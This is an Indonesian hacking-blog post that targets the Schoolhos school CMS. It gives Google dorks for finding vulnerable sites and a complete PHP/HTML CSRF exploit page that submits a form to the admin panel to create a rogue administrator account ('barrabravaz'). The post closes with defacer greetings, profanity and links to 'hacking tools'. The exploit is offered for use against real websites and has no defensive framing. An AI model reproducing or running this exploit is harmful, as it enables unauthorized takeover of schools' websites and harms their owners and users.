Exploit CMS Schoolhos 2017 | CSRF Vulnerability
Selamat datang di blog maniak wifi, kali ini kita belajar CSRF kembali, yaitu CSRF CMS Schoolhos dengan mudah, karena kita menggunakan bantuan Dork.
 |
| Exploit CMS Schoolhos 2017 | CSRF Vulnerability |
=================
Dork Schoolhos
=================
Google Dork:
inurl:/?p=bukutamu
intext:Schoolhos Free Open Source CMS
==========================
CSRF CMS Schoolhos
==========================
<?php
$self = $_SERVER["PHP_SELF"];
echo 'Target';
echo "<form action=\"$self\" method=\"GET\"><input type=\"text\" name=\"url\"><input type=\"submit\"></form>";
if(!isset($_GET['url'])){
$url = "http://target.com/adminpanel/database/admin.php";
}else
{
$url = $_GET['url'];
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>!!Barrabravaz Everywhere!!</title>
</head>
<body>
<h1>!!Barrabravaz Everywhere!!</h1>
<?php echo "Target is : $url"; ?>
<form id="target" method="post" action="<?php echo "$url"; ?>/adminpanel/aplikasi/database/admin.php?pilih=admin&untukdi=tambah">
Isi username yang mau di isi <INPUT type="text" name="username" value="barrabravaz"><br>
Pass nya<INPUT type="text" name="password" value="barrabravaz"><br>
<input type="submit" name="insert" value="Insert" >
</form>
</body>
</html>
========================================
Jangan dirubah-rubah iya,, hargai yang buat tools :D
========================================
Semoga Bermanfaat :D
Sumber : http://alamshahcyber.blogspot.co.id/2014/07/tutorial-hack-situs-sekolah-cms_9.html
Laporkan Jika Link Download Mati ! disini. [ Lapor !! ]
>> Fuck You ! ------------------------ // ~ root@Jack : ~ \\------------------------ Fuck You ! <<
Download Kumpulan Tools Hacking 100% Work
Yapss Admin mohon maaf jika ada kesalahan dalam penulisan atau penguploadan, jika ada kesalahan mohon dibenarkan dengan berkomentar di bawah postingan yang salah, berikan saran yang sifatnya membimbing agar blog ini bisa bermanfaat bagi para Newbie di Indonesia tentunya, Jika ingin menyumbangkan Tutornya atau Modulnya silahkan kirimkan ke Email yang sudah saya sediakan, Terimakasih Senpai :*
Greetz : ./Maniak_WiFi
\\ Like, Visit, Follow and Share
>> Facebook ** Faris Ghaisan Rabbani >> Twitter ** @JackTersakiti
>> Instagram ** /abdur.rozak.mw >> Youtube ** Pringsewu Cyber Team
// Why So Serious...
0 Komentar